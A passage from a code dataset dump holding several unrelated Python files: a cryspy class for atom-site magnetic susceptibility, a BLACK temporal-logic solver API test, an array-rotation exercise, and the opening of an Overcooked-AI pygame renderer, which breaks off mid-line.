cryspy.B_parent_classes.cl_1_item import ItemN\nfrom cryspy.B_parent_classes.cl_2_loop import LoopN\n\n\nclass AtomSiteSusceptibility(ItemN):\n \"\"\"Magnetic properties of the atom that occupy the atom site.\n\n Data items in the ATOM_SITE_MAGNETISM_ANISO category record details about\n magnetic properties of the atoms that occupy the atom sites.\n\n Attributes\n ----------\n - \n \"\"\"\n\n ATTR_MANDATORY_NAMES = (\"label\", )\n ATTR_MANDATORY_TYPES = (str, )\n ATTR_MANDATORY_CIF = (\"label\", )\n\n ATTR_OPTIONAL_NAMES = (\n \"chi_type\", \"moment_type\", \"chi_11\", \"chi_22\", \"chi_33\", \"chi_12\",\n \"chi_13\", \"chi_23\", \"moment_11\", \"moment_22\", \"moment_33\", \"moment_12\",\n \"moment_13\", \"moment_23\")\n ATTR_OPTIONAL_TYPES = (str, str, float, float, float, float, float, float,\n float, float, float, float, float, float)\n ATTR_OPTIONAL_CIF = (\n \"chi_type\", \"moment_type\", \"chi_11\", \"chi_22\", \"chi_33\", \"chi_12\",\n \"chi_13\", \"chi_23\", \"moment_11\", \"moment_22\", \"moment_33\", \"moment_12\",\n \"moment_13\", \"moment_23\")\n\n ATTR_NAMES = ATTR_MANDATORY_NAMES + ATTR_OPTIONAL_NAMES\n ATTR_TYPES = ATTR_MANDATORY_TYPES + ATTR_OPTIONAL_TYPES\n ATTR_CIF = ATTR_MANDATORY_CIF + ATTR_OPTIONAL_CIF\n\n ATTR_INT_NAMES = ()\n ATTR_INT_PROTECTED_NAMES = ()\n\n # parameters considered are refined parameters\n ATTR_REF = (\"chi_11\", \"chi_22\", \"chi_33\", \"chi_12\", \"chi_13\", \"chi_23\",\n \"moment_11\", \"moment_22\", \"moment_33\", \"moment_12\",\n \"moment_13\", \"moment_23\")\n ATTR_SIGMA = tuple([f\"{_h:}_sigma\" for _h in ATTR_REF])\n ATTR_CONSTR_FLAG = tuple([f\"{_h:}_constraint\" for _h in ATTR_REF])\n ATTR_REF_FLAG = tuple([f\"{_h:}_refinement\" for _h in ATTR_REF])\n\n # formats if cif format\n D_FORMATS = {\"chi_11\": \"{:.5f}\", \"chi_22\": \"{:.5f}\", \"chi_33\": \"{:.5f}\",\n \"chi_12\": \"{:.5f}\", \"chi_13\": \"{:.5f}\", \"chi_23\": \"{:.5f}\",\n \"moment_11\": \"{:.5f}\", \"moment_22\": \"{:.5f}\",\n \"moment_33\": \"{:.5f}\", \"moment_12\": \"{:.5f}\",\n \"moment_13\": \"{:.5f}\", \"moment_23\": \"{:.5f}\"}\n\n # constraints on the parameters\n D_CONSTRAINTS = {\"chi_type\": [\"Ciso\", \"Cani\"],\n \"moment_type\": [\"Miso\", \"Mani\"]}\n\n # default values for the parameters\n D_DEFAULT = {}\n for key in ATTR_SIGMA:\n D_DEFAULT[key] = 0.\n for key in (ATTR_CONSTR_FLAG + ATTR_REF_FLAG):\n D_DEFAULT[key] = False\n\n PREFIX = \"atom_site_susceptibility\"\n\n def __init__(self, **kwargs) -> NoReturn:\n super(AtomSiteSusceptibility, self).__init__()\n\n # defined for any integer and float parameters\n D_MIN = {}\n\n # defined for ani integer and float parameters\n D_MAX = {}\n\n self.__dict__[\"D_MIN\"] = D_MIN\n self.__dict__[\"D_MAX\"] = D_MAX\n for key, attr in self.D_DEFAULT.items():\n setattr(self, key, attr)\n for key, attr in kwargs.items():\n setattr(self, key, attr)\n\n def apply_space_group_constraint(self, atom_site, space_group):\n \"\"\"\n Space group constraints.\n\n According to table 1 in Peterse, Palm, Acta Cryst.(1966), 20, 147\n \"\"\"\n l_numb = atom_site.calc_constr_number(space_group)\n label_aniso = self.label\n label = atom_site.label\n index = label.index(label_aniso)\n\n flag_chi = self.is_attribute(\"chi_type\")\n if flag_chi:\n flag_chi = self.chi_type.lower().startswith(\"cani\")\n flag_moment = self.is_attribute(\"moment_type\")\n if flag_moment:\n flag_moment = self.moment_type.lower().startswith(\"mani\")\n if flag_chi:\n self.__dict__[\"chi_11_constraint\"] = False\n self.__dict__[\"chi_22_constraint\"] = False\n self.__dict__[\"chi_33_constraint\"] = False\n self.__dict__[\"chi_12_constraint\"] = False\n self.__dict__[\"chi_13_constraint\"] = False\n self.__dict__[\"chi_23_constraint\"] = False\n if flag_moment:\n self.__dict__[\"moment_11_constraint\"] = False\n self.__dict__[\"moment_22_constraint\"] = False\n self.__dict__[\"moment_33_constraint\"] = False\n self.__dict__[\"moment_12_constraint\"] = False\n self.__dict__[\"moment_13_constraint\"] = False\n self.__dict__[\"moment_23_constraint\"] = False\n numb = l_numb[index]\n\n if flag_chi:\n chi_i = (self.chi_11, self.chi_22, self.chi_33, self.chi_12,\n self.chi_13, self.chi_23)\n chi_sigma_i = (self.chi_11_sigma, self.chi_22_sigma,\n self.chi_33_sigma, self.chi_12_sigma,\n self.chi_13_sigma, self.chi_23_sigma)\n chi_ref_i = (self.chi_11_refinement, self.chi_22_refinement,\n self.chi_33_refinement, self.chi_12_refinement,\n self.chi_13_refinement, self.chi_23_refinement)\n\n chi_i, chi_sigma_i, chi_ref_i, chi_constr_i = \\\n vibration_constraints(numb, chi_i, chi_sigma_i, chi_ref_i)\n\n self.__dict__[\"chi_11\"], self.__dict__[\"chi_22\"], \\\n self.__dict__[\"chi_33\"], self.__dict__[\"chi_12\"], \\\n self.__dict__[\"chi_13\"], self.__dict__[\"chi_23\"] = chi_i\n\n self.__dict__[\"chi_11_sigma\"], self.__dict__[\"chi_22_sigma\"], \\\n self.__dict__[\"chi_33_sigma\"], self.__dict__[\"chi_12_sigma\"], \\\n self.__dict__[\"chi_13_sigma\"], self.__dict__[\"chi_23_sigma\"] =\\\n chi_sigma_i\n\n self.__dict__[\"chi_11_refinement\"], \\\n self.__dict__[\"chi_22_refinement\"], \\\n self.__dict__[\"chi_33_refinement\"], \\\n self.__dict__[\"chi_12_refinement\"], \\\n self.__dict__[\"chi_13_refinement\"], \\\n self.__dict__[\"chi_23_refinement\"] = chi_ref_i\n\n self.__dict__[\"chi_11_constraint\"], \\\n self.__dict__[\"chi_22_constraint\"], \\\n self.__dict__[\"chi_33_constraint\"], \\\n self.__dict__[\"chi_12_constraint\"], \\\n self.__dict__[\"chi_13_constraint\"], \\\n self.__dict__[\"chi_23_constraint\"] = chi_constr_i\n if flag_moment:\n moment_i = (self.moment_11, self.moment_22, self.moment_33,\n self.moment_12, self.moment_13, self.moment_23)\n moment_sigma_i = (self.moment_11_sigma, self.moment_22_sigma,\n self.moment_33_sigma, self.moment_12_sigma,\n self.moment_13_sigma, self.moment_23_sigma)\n moment_ref_i = (\n self.moment_11_refinement, self.moment_22_refinement,\n self.moment_33_refinement, self.moment_12_refinement,\n self.moment_13_refinement, self.moment_23_refinement)\n\n moment_i, moment_sigma_i, moment_ref_i, moment_constr_i = \\\n vibration_constraints(numb, moment_i, moment_sigma_i,\n moment_ref_i)\n\n self.__dict__[\"moment_11\"], self.__dict__[\"moment_22\"], \\\n self.__dict__[\"moment_33\"], self.__dict__[\"moment_12\"], \\\n self.__dict__[\"moment_13\"], self.__dict__[\"moment_23\"] = \\\n moment_i\n\n self.__dict__[\"moment_11_sigma\"], \\\n self.__dict__[\"moment_22_sigma\"], \\\n self.__dict__[\"moment_33_sigma\"], \\\n self.__dict__[\"moment_12_sigma\"], \\\n self.__dict__[\"moment_13_sigma\"], \\\n self.__dict__[\"moment_23_sigma\"] = moment_sigma_i\n\n self.__dict__[\"moment_11_refinement\"], \\\n self.__dict__[\"moment_22_refinement\"], \\\n self.__dict__[\"moment_33_refinement\"], \\\n self.__dict__[\"moment_12_refinement\"], \\\n self.__dict__[\"moment_13_refinement\"], \\\n self.__dict__[\"moment_23_refinement\"] = moment_ref_i\n\n self.__dict__[\"moment_11_constraint\"], \\\n self.__dict__[\"moment_22_constraint\"], \\\n self.__dict__[\"moment_33_constraint\"], \\\n self.__dict__[\"moment_12_constraint\"], \\\n self.__dict__[\"moment_13_constraint\"], \\\n self.__dict__[\"moment_23_constraint\"] = moment_constr_i\n\n def apply_chi_iso_constraint(self, cell):\n \"\"\"Isotropic constraint on susceptibility.\"\"\"\n c_a = cell.cos_a\n s_ib = cell.sin_ib\n s_ig = cell.sin_ig\n c_ib = cell.cos_ib\n c_ig = cell.cos_ig\n # not sure, it is better to check\n if not(self.is_attribute(\"chi_type\")):\n return\n chi_type = self.chi_type\n if chi_type.lower().startswith(\"ciso\"):\n self.__dict__[\"chi_22\"] = self.chi_11\n self.__dict__[\"chi_33\"] = self.chi_11\n self.__dict__[\"chi_12\"] = self.chi_11*c_ig\n self.__dict__[\"chi_13\"] = self.chi_11*c_ib\n self.__dict__[\"chi_23\"] = self.chi_11*(c_ib*c_ig-s_ib*s_ig*c_a)\n self.__dict__[\"chi_22_sigma\"] = self.chi_11_sigma\n self.__dict__[\"chi_33_sigma\"] = self.chi_11_sigma\n self.__dict__[\"chi_12_sigma\"] = self.chi_11_sigma * c_ig\n self.__dict__[\"chi_13_sigma\"] = self.chi_11_sigma * c_ib\n self.__dict__[\"chi_23_sigma\"] = self.chi_11_sigma * \\\n (c_ib*c_ig-s_ib*s_ig*c_a)\n self.__dict__[\"chi_22_refinement\"] = False\n self.__dict__[\"chi_33_refinement\"] = False\n self.__dict__[\"chi_12_refinement\"] = False\n self.__dict__[\"chi_13_refinement\"] = False\n self.__dict__[\"chi_23_refinement\"] = False\n self.__dict__[\"chi_22_constraint\"] = True\n self.__dict__[\"chi_33_constraint\"] = True\n self.__dict__[\"chi_12_constraint\"] = True\n self.__dict__[\"chi_13_constraint\"] = True\n self.__dict__[\"chi_23_constraint\"] = True\n\n def apply_moment_iso_constraint(self, cell):\n \"\"\"Isotropic constraint on moment.\"\"\"\n c_a = cell.cos_a\n s_ib = cell.sin_ib\n s_ig = cell.sin_ig\n c_ib = cell.cos_ib\n c_ig = cell.cos_ig\n # not sure, it is better to check\n if not(self.is_attribute(\"moment_type\")):\n return\n moment_type = self.moment_type\n if moment_type.lower().startswith(\"miso\"):\n self.__dict__[\"moment_22\"] = self.moment_11\n self.__dict__[\"moment_33\"] = self.moment_11\n self.__dict__[\"moment_12\"] = self.moment_11 * c_ig\n self.__dict__[\"moment_13\"] = self.moment_11 * c_ib\n self.__dict__[\"moment_23\"] = self.moment_11 * \\\n (c_ib*c_ig-s_ib*s_ig*c_a)\n\n self.__dict__[\"moment_22_sigma\"] = self.moment_11_sigma\n self.__dict__[\"moment_33_sigma\"] = self.moment_11_sigma\n self.__dict__[\"moment_12_sigma\"] = self.moment_11_sigma * c_ig\n self.__dict__[\"moment_13_sigma\"] = self.moment_11_sigma * c_ib\n self.__dict__[\"moment_23_sigma\"] = self.moment_11_sigma * \\\n (c_ib*c_ig-s_ib*s_ig*c_a)\n\n self.__dict__[\"moment_22_refinement\"] = False\n self.__dict__[\"moment_33_refinement\"] = False\n self.__dict__[\"moment_12_refinement\"] = False\n self.__dict__[\"moment_13_refinement\"] = False\n self.__dict__[\"moment_23_refinement\"] = False\n self.__dict__[\"moment_22_constraint\"] = True\n self.__dict__[\"moment_33_constraint\"] = True\n self.__dict__[\"moment_12_constraint\"] = True\n self.__dict__[\"moment_13_constraint\"] = True\n self.__dict__[\"moment_23_constraint\"] = True\n\n def calc_main_axes_of_magnetization_ellipsoid(self, cell):\n \"\"\"Susceptibility along the main axes of magnetization ellipsoid.\n\n Arguments\n ---------\n - cell\n\n Output\n ------\n - moments is main axes of ellipsoid in mu_B/T\n - moments_sigma is sigmas for main axes of ellipsoid\n - rot_matrix is directions for moments\n for moments[0] direction is rot_matrix[:, 0]\n for moments[1] direction is rot_matrix[:, 1]\n for moments[2] direction is rot_matrix[:, 2]\n\n The main axes are given in Cartezian coordinate system (x||a*, z||c).\n \"\"\"\n m_m_norm = cell.m_m_norm\n\n chi_11, chi_22, chi_33 = self.chi_11, self.chi_22, self.chi_33\n chi_12, chi_13, chi_23 = self.chi_12, self.chi_13, self.chi_23\n\n sig_11, sig_22 = self.chi_11_sigma, self.chi_22_sigma\n sig_33, sig_12 = self.chi_33_sigma, self.chi_12_sigma\n sig_13, sig_23 = self.chi_13_sigma, self.chi_23_sigma\n\n m_chi_loc = numpy.array([\n [chi_11, chi_12, chi_13], [chi_12, chi_22, chi_23],\n [chi_13, chi_23, chi_33]], dtype=float)\n\n m_chi_orto = numpy.matmul(numpy.matmul(m_m_norm, m_chi_loc),\n m_m_norm.transpose())\n\n moments, rot_matrix = numpy.linalg.eigh(m_chi_orto)\n moments_sigma = numpy.zeros(shape=moments.shape)\n flag_error = (\n math.isclose(sig_11, 0.) & math.isclose(sig_22, 0.) &\n math.isclose(sig_33, 0.) & math.isclose(sig_12, 0.) &\n math.isclose(sig_13, 0.) & math.isclose(sig_23, 0.))\n\n if not(flag_error):\n np_sigma = numpy.array([[sig_11, sig_12, sig_13],\n [sig_12, sig_22, sig_23],\n [sig_13, sig_23, sig_33]],\n dtype=float)\n M1 = numpy.matmul(rot_matrix.transpose(), m_m_norm)\n M2 = calc_m_sigma(M1, np_sigma)\n l_sig = [sum(M2[:, 0]**2)**0.5, sum(M2[:, 1]**2)**0.5,\n sum(M2[:, 2]**2)**0.5]\n moments_sigma = numpy.array(l_sig, dtype=float)\n return moments, moments_sigma, rot_matrix\n\nclass AtomSiteSusceptibilityL(LoopN):\n \"\"\"Magnetic properties of the atoms that occupy the atom sites.\n\n Methods\n -------\n - apply_space_group_constraint\n - apply_chi_iso_constraint\n - apply_moment_iso_constraint\n \"\"\"\n\n ITEM_CLASS = AtomSiteSusceptibility\n ATTR_INDEX = \"label\"\n\n def __init__(self, loop_name=None) -> NoReturn:\n super(AtomSiteSusceptibilityL, self).__init__()\n self.__dict__[\"items\"] = []\n self.__dict__[\"loop_name\"] = loop_name\n\n def apply_space_group_constraint(self, atom_site, space_group):\n \"\"\"Apply space group constraint.\"\"\"\n for item in self.items:\n item.apply_space_group_constraint(atom_site, space_group)\n\n def apply_chi_iso_constraint(self, cell):\n \"\"\"Apply isotropic constraint on susceptibility.\"\"\"\n for item in self.items:\n item.apply_chi_iso_constraint(cell)\n\n def apply_moment_iso_constraint(self, cell):\n \"\"\"Apply isotropic constraint on moments.\"\"\"\n for item in self.items:\n item.apply_moment_iso_constraint(cell)\n\n def calc_main_axes_of_magnetization_ellipsoid(self, cell):\n \"\"\"Susceptibility along the main axes of magnetization ellipsoid.\n\n Arguments\n ---------\n - cell\n\n Output\n ------\n - l_moments is main axes of ellipsoid in mu_B/T for each atom\n - l_moments_sigma is sigmas for main axes of ellipsoid for each\n atom\n - l_rot_matrix is directions for moments\n for moments[0] direction is rot_matrix[:, 0]\n for moments[1] direction is rot_matrix[:, 1]\n for moments[2] direction is rot_matrix[:, 2]\n\n The main axes are given in Cartezian coordinate system (x||a*, z||c).\n \"\"\"\n l_moments, l_moments_sigma, l_rot_matrix = [], [], []\n for item in self.items:\n moments, moments_sigma, rot_matrix = \\\n item.calc_main_axes_of_magnetization_ellipsoid(cell)\n l_moments.append(moments)\n l_moments_sigma.append(moments_sigma)\n l_rot_matrix.append(rot_matrix)\n return l_moments, l_moments_sigma, l_rot_matrix\n\n\n# s_cont = \"\"\"\n# loop_\n# _atom_site_susceptibility_label\n# _atom_site_susceptibility_chi_type\n# _atom_site_susceptibility_chi_11\n# _atom_site_susceptibility_chi_12\n# _atom_site_susceptibility_chi_13\n# _atom_site_susceptibility_chi_22\n# _atom_site_susceptibility_chi_23\n# _atom_site_susceptibility_chi_33\n# _atom_site_susceptibility_moment_type\n# _atom_site_susceptibility_moment_11\n# _atom_site_susceptibility_moment_12\n# _atom_site_susceptibility_moment_13\n# _atom_site_susceptibility_moment_22\n# _atom_site_susceptibility_moment_23\n# _atom_site_susceptibility_moment_33\n# Fe3A Cani -3.468(74) 0.0 0.0 -3.468 0.0 -3.468 Mani 0. 0. 0. 0. 0. 0.\n# Fe3B Cani 3.041 0.0 0.0 3.041 0.0 3.041 Mani 0. 0. 0. 0. 0. 0.\n# \"\"\"\n\n# obj = AtomSiteSusceptibilityL.from_cif(s_cont)\n# print(obj, end=\"\\n\\n\")\n# print(obj[\"Fe3A\"], end=\"\\n\\n\")\n","repo_name":"bsramosl/ProsPy","sub_path":"venv/Lib/site-packages/cryspy/C_item_loop_classes/cl_1_atom_site_susceptibility.py","file_name":"cl_1_atom_site_susceptibility.py","file_ext":"py","file_size_in_byte":17307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1155596230","text":"# #!/usr/bin/env python3\n\n# from black_sat import *\n\n# def print_result(slv, f, result, *props):\n# print(f\"formula: {f}\")\n# if result == True:\n# print(\"Satisfiable\")\n# n = slv.model.size\n# print(f\"Model size: {n}\")\n# for t in range(n):\n# for p in props:\n# print(f\"Value of proposition {p} at t = {t}: {slv.model.value(p, t)}\")\n# elif result == False:\n# print(\"Unsatisfiable\")\n# else:\n# print(\"Uknown\")\n\n# def report(str):\n# print(f\"Syntax error: {str}\")\n\n# sigma = alphabet()\n\n# x = sigma.variable(\"x\")\n# y = sigma.variable(\"y\")\n\n# ale = sigma.variable(\"ale\")\n# nicola = sigma.variable(\"nicola\")\n# luca = sigma.variable(\"luca\")\n\n# people = domain([ale, nicola, luca])\n\n# person = sigma.named_sort(\"person\")\n\n# knows = sigma.relation(\"knows\")\n\n# f = ~knows(ale, luca) & forall([x[person], y[person]], knows(ale, x))\n\n# xi = scope(sigma)\n# xi.declare(person, people)\n# xi.declare(knows, [person, person])\n\n# assert xi.type_check(f, report)\n\n# slv = solver()\n\n# result1 = slv.solve(xi, f)\n# result2 = slv.solve(xi, f)\n# result3 = slv.solve(xi, ~f)\n\n# assert not(result1 != result2)\n# assert result2 != result3\n\n# assert ~f == ~f\n\n# print_result(slv, f, result1)\n\n# p = sigma.proposition(\"p\")\n# q = sigma.proposition(\"q\")\n\n# f2 = p & X(p) & G(implies(p, q)) & F(~p)\n\n# result4 = slv.solve(xi, f2)\n\n# print_result(slv, f2, result4, p, q)\n\n# f3 = G(p & F(q)) & F(~p & implies(q, q))\n# result5 = slv.solve(xi, f3)\n\n# print_result(slv, f3, result5)\n# assert result5 == False\n\n# print(f\"Unsat core: {unsat_core(xi, f3)}\")\n\n# f4 = parse_formula(sigma, \"p & F q\")\n\n# print(f\"Parsed formula: {f4}\")\n\n# a = sigma.variable(\"a\")\n# b = sigma.variable(\"b\")\n\n# xi.declare(a, sigma.integer_sort())\n# xi.declare(b, sigma.integer_sort())\n\n# ff = (a == 0) & (b == 0) & G((a >= 0) & (b >= 0) & (a == 2 * b))\n\n# print(ff)\n\n# assert xi.type_check(ff)\n\n# assert slv.solve(xi, ff, True, 500, True)\n\n# assert slv.model.value(a == 0, 0)\n\n# r = sigma.relation(\"r\")\n\n# xi.declare(r, [sigma.integer_sort()], scope.rigid)\n\n# assert slv.solve(xi, r(0))\n\n# assert slv.model.value(r(0), 0)\n\nfrom black_sat import *\n\ndef report(err):\n print(f\"Type error: {err}\")\n quit()\n\nsigma = alphabet()\nxi = scope(sigma)\n\ninteger = sigma.integer_sort()\n\nx = sigma.variable(\"x\")\ny = sigma.variable(\"y\")\nz = sigma.variable(\"z\")\nr = sigma.relation(\"r\")\n\nf = forall([x[integer], y[integer], z[integer]], implies(r(x, y, z), (x < z) & (z < y)))\n\ng = (x == 0) & (y == 2) & G(r(x, y, z) & (wnext(z) == z + 1)) & F(z == 10)\n\nprint(g)\n\nxi.declare(x, integer)\nxi.declare(y, integer)\nxi.declare(z, integer)\nxi.declare(r, [integer, integer, integer], scope.rigid)\n\nassert xi.type_check(f & g, report)\n\nslv = solver()\n\nassert slv.solve(xi, f & g, True)\nassert slv.model is not None\nlast = slv.model.size - 1\nprint(f\"Model size: {slv.model.size}\")\nprint(f\"y >= 11 at t = {last}: {slv.model.value(y >= 11, last)}\")\n\np = sigma.proposition(\"p\")\nh = G(p) & F(~p)\n\nassert not slv.solve(xi, h)\n\nprova = big_and(sigma, [p,p,p,p,p])\n\nprint(prova)\n\nprova = big_or(sigma, [p,p,p,p,p])\n\nprint(prova)\n","repo_name":"black-sat/black","sub_path":"tests/python/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"} +{"seq_id":"10781430534","text":"\"\"\"\nProblem -: Rotate array by K places\n\nBrute Force Solution -: Left Rotate One Element one by one K times using temp val\n TC: O(K*N)\n SC: O(1)\n\nBetter Solution:\n 0 1 2 3 4 5 6\nnums = [1, 2, 3, 4, 5, 6, 7]\nD = 3\nN = 7\nTC: O(N)\nSC: O(K)\n\nprevIdx(I) curIdx = I-D\n 3 --> 0\n 4 --> 1\n 5 --> 2\n 6 --> 3\n\nTemp Array\nprevIdx(I) curIdx = I - (N-D)\n 0 --> 4\n 1 --> 5\n 2 --> 6\n\nOptimal Solution: Reverse Logic\n Step 1: Reverse Arr(0, D)\n Reverse Arr(D, N)\n Step 2: Reverse Arr(0, N)\nTC: O(2N) ~ O(N)\nSC: O(1)\n\"\"\"\n\n\nclass Rotation:\n @staticmethod\n def leftRotateArrayByDPlacesBetterSolution(nums: list[int], N: int, D: int) -> list[int]:\n D %= N\n\n if D == 0:\n return nums\n\n temp = [nums[i] for i in range(D)]\n\n for i in range(D, N):\n nums[i-D] = nums[i]\n\n for i in range(N-D, N):\n nums[i] = temp[i-(N-D)]\n\n return nums\n\n @staticmethod\n def _reverse(nums, i, j):\n while i <= j:\n nums[i], nums[j] = nums[j], nums[i]\n i += 1\n j -= 1\n\n def leftRotateArrayByDPlacesOptimalSolution(self, nums: list[int], N: int, D: int) -> list[int]:\n D %= N\n\n if D == 0:\n return nums\n\n # # Reverse Arr(0, D)\n # nums[:D].reverse()\n # # Reverse Arr(D, N)\n # nums[D:N].reverse()\n # # Reverse Arr(0, N)\n # nums[:N].reverse()\n\n # Reverse Arr(0, D-1)\n self._reverse(nums, 0, D-1)\n # Reverse Arr(D, N-1)\n self._reverse(nums, D, N-1)\n # Reverse Arr(0, N-1)\n self._reverse(nums, 0, N-1)\n\n return nums\n\n\narr = [1, 2, 3, 4, 5, 6, 7]\narr1 = [1, 2, 3, 4, 5, 6, 7]\nN, D = 7, 3\nsol = Rotation()\nprint(sol.leftRotateArrayByDPlacesBetterSolution(arr, N, D))\nprint(sol.leftRotateArrayByDPlacesOptimalSolution(arr1, N, D))","repo_name":"sandeepyadav10011995/Data-Structures","sub_path":"IT Bodhi/Miscellaneous/2. Rotate Array by K without using Extra Space.py","file_name":"2. Rotate Array by K without using Extra Space.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8710636255","text":"import os\nimport pygame\nimport time\nimport numpy as np\nimport overcooked_ai_py\nfrom overcooked_ai_py import ASSETS_DIR, PCG_EXP_IMAGE_DIR\nfrom overcooked_ai_py.mdp.actions import Action, Direction\n\npygame.init()\n\nINFO_PANEL_HEIGHT = 0 #60 # height of the game info panel\nINFO_PANEL_COLOR = (230, 180, 83) # some sort of yellow\nSPRITE_LENGTH = 50 # length of each sprite square\nTERRAIN_DIR = 'terrain'\nCHEF_DIR = 'chefs'\nOBJECT_DIR = 'objects'\nFONTS_DIR = 'fonts'\nARIAL_FONT = os.path.join(ASSETS_DIR, FONTS_DIR, 'arial.ttf')\nTEXT_SIZE = 25\n\nTERRAIN_TO_IMG = {\n ' ': os.path.join(ASSETS_DIR, TERRAIN_DIR, 'floor.png'),\n 'X': os.path.join(ASSETS_DIR, TERRAIN_DIR, 'counter.png'),\n 'P': os.path.join(ASSETS_DIR, TERRAIN_DIR, 'pot.png'),\n 'O': os.path.join(ASSETS_DIR, TERRAIN_DIR, 'onions.png'),\n 'T': os.path.join(ASSETS_DIR, TERRAIN_DIR, 'tomatoes.png'),\n 'D': os.path.join(ASSETS_DIR, TERRAIN_DIR, 'dishes.png'),\n 'S': os.path.join(ASSETS_DIR, TERRAIN_DIR, 'serve.png'),\n}\n\nPLAYER_HAT_COLOR = {\n 0: 'greenhat',\n 1: 'bluehat',\n}\n\nPLAYER_ARROW_COLOR = {0: (0, 255, 0, 128), 1: (0, 0, 255, 128)}\n\nPLAYER_ARROW_ORIENTATION = {\n Direction.DIRECTION_TO_STRING[Direction.NORTH]:\n ((15, 300), (35, 300), (35, 100), (50, 100), (25, 0), (0, 100), (15, 100)),\n Direction.DIRECTION_TO_STRING[Direction.SOUTH]:\n ((15, 0), (35, 0), (35, 200), (50, 200), (25, 300), (0, 200), (15, 200)),\n Direction.DIRECTION_TO_STRING[Direction.EAST]:\n ((0, 15), (0, 35), (200, 35), (200, 50), (300, 25), (200, 0), (200, 15)),\n Direction.DIRECTION_TO_STRING[Direction.WEST]:\n ((300, 15), (300, 35), (100, 35), (100, 50), (0, 25), (100, 0), (100, 15)),\n}\n\nPLAYER_ARROW_POS_SHIFT = {\n Direction.DIRECTION_TO_STRING[Direction.NORTH]:\n ((1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0)),\n Direction.DIRECTION_TO_STRING[Direction.SOUTH]:\n ((1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0)),\n Direction.DIRECTION_TO_STRING[Direction.EAST]:\n ((0, 1), (0, 1), (0, 1), (0, 1), (0, 1), (0, 1), (0, 1)),\n Direction.DIRECTION_TO_STRING[Direction.WEST]:\n ((0, 1), (0, 1), (0, 1), (0, 1), (0, 1), (0, 1), (0, 1)),\n}\n\n\ndef get_curr_pos(x, y, mode=\"human\"):\n \"\"\"\n Returns pygame.Rect object that specifies the position\n\n Args:\n x, y: position of the terrain in the terrain matrix\n mode: mode of rendering\n \"\"\"\n if mode == \"full\":\n return pygame.Rect(\n x * SPRITE_LENGTH,\n y * SPRITE_LENGTH + INFO_PANEL_HEIGHT,\n SPRITE_LENGTH,\n SPRITE_LENGTH,\n )\n\n else:\n return pygame.Rect(\n x * SPRITE_LENGTH,\n y * SPRITE_LENGTH,\n SPRITE_LENGTH,\n SPRITE_LENGTH,\n )\n\n\ndef get_text_sprite(show_str):\n \"\"\"\n Returns pygame.Surface object to show the text\n\n Args:\n show_str(string): The text to show\n \"\"\"\n font = pygame.font.Font(ARIAL_FONT, TEXT_SIZE)\n text_surface = font.render(show_str, True, (255, 0, 0))\n return text_surface\n\n\ndef load_image(path):\n \"\"\"\n Returns loaded pygame.Surface object from file path\n\n Args:\n path(string): file path to the image file\n \"\"\"\n obj = pygame.image.load(path).convert()\n obj.set_colorkey((255, 255, 255))\n return pygame.transform.scale(obj, (SPRITE_LENGTH, SPRITE_LENGTH))\n\n\ndef blit_terrain(x, y, terrain_mtx, viewer, mode=\"human\"):\n \"\"\"\n Helper function to blit given position to specified terrain\n\n Args:\n x, y: position of the terrain in the terrain matrix\n terrain_mtx: terrain matrix\n viewer: pygame surface that displays the game\n \"\"\"\n curr_pos = get_curr_pos(x, y, mode)\n # render the terrain\n terrain = terrain_mtx[y][x]\n terrain_pgobj = load_image(TERRAIN_TO_IMG[terrain])\n viewer.blit(terrain_pgobj, curr_pos)\n\n\ndef get_player_sprite(player, player_index):\n \"\"\"\n Returns loaded image of player(aka chef), the player's hat, and the color of the array to draw on top of the player\n\n Args:\n player(PlayerState)\n player_index(int)\n \"\"\"\n orientation_str = get_orientation_str(player)\n\n player_img_path = \"\"\n hat_color = PLAYER_HAT_COLOR[player_index]\n hat_img_path = os.path.join(\n ASSETS_DIR, CHEF_DIR,\n '%s-%s.png' % (orientation_str, PLAYER_HAT_COLOR[player_index]))\n\n player_object = player.held_object\n # player holding object\n if player_object:\n # player holding soup\n obj_name = player_object.name\n if obj_name == 'soup':\n soup_type = player_object.state[0]\n player_img_path = os.path.join(\n ASSETS_DIR, CHEF_DIR,\n '%s-soup-%s.png' % (orientation_str, soup_type))\n\n # player holding non-soup\n else:\n player_img_path = os.path.join(\n ASSETS_DIR, CHEF_DIR,\n '%s-%s.png' % (orientation_str, obj_name))\n\n # player not holding object\n else:\n player_img_path = os.path.join(ASSETS_DIR, CHEF_DIR,\n '%s.png' % orientation_str)\n\n return load_image(player_img_path), load_image(hat_img_path)\n\n\ndef get_object_sprite(obj, on_pot=False):\n \"\"\"\n Returns loaded image of object\n\n Args:\n obj(ObjectState)\n on_pot(boolean): whether the object lies on a pot\n \"\"\"\n obj_name = obj.name\n\n if not on_pot:\n if obj_name == 'soup':\n soup_type = obj.state[0]\n obj_img_path = os.path.join(ASSETS_DIR, OBJECT_DIR,\n 'soup-%s-dish.png' % soup_type)\n else:\n obj_img_path = os.path.join(ASSETS_DIR, OBJECT_DIR,\n '%s.png' % obj_name)\n else:\n soup_type, num_items, cook_time = obj.state\n obj_img_path = os.path.join(\n ASSETS_DIR, OBJECT_DIR,\n 'soup-%s-%d-cooking.png' % (soup_type, num_items))\n return load_image(obj_img_path)\n\n\ndef draw_arrow(window, player, player_index, pos, time_left):\n \"\"\"\n Draw an arrow indicating orientation of the player\n \"\"\"\n shift = 10.0\n orientation_str = get_orientation_str(player)\n arrow_orientation = PLAYER_ARROW_ORIENTATION[orientation_str]\n arrow_position = [[j * shift * time_left for j in i]\n for i in PLAYER_ARROW_POS_SHIFT[orientation_str]]\n arrow_orientation = np.add(np.array(arrow_orientation),\n arrow_position).tolist()\n arrow_color = PLAYER_ARROW_COLOR[player_index]\n\n arrow = pygame.Surface((300, 300)).convert()\n\n pygame.draw.polygon(arrow, arrow_color, arrow_orientation)\n arrow.set_colorkey((0, 0, 0))\n\n arrow = pygame.transform.scale(arrow, (SPRITE_LENGTH, SPRITE_LENGTH))\n window.blit(arrow, pos)\n # tmp = input()\n\n\ndef get_orientation_str(player):\n orientation = player.orientation\n # make sure the orientation exists\n assert orientation in 